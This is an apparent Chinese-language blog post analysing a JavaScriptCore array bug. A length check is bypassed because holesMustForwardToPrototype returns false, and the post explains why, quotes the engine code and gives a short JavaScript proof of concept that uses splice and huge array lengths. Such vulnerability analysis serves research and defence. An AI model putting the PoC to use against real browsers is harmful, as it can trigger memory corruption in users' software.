Monday, January 7, 2019

[10] 关键判断有效性语句的条件绕过

https://www.exploit-db.com/exploits/46072

对于代码:

    if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) 
        || hasSparseMap() 
        || shouldUseSlowPut(indexingType())) {
        return false;
    }

该函数应该防止带hole的数组进入后续代码。但是这种类型的数组实际上可以通过让holesMustForwardToPrototype方法返回false来实现。
除非数组上有任何索引访问器或原型链中的Proxy,否则该方法将只返回false。导致此处关键判断有效性语句失效。

PoC:

function main() {
    let arr = [1];

    arr.length = 0x100000;
    arr.splice(0, 0x11);

    arr.length = 0xfffffff0;
    arr.splice(0xfffffff0, 0, 1);
}

main();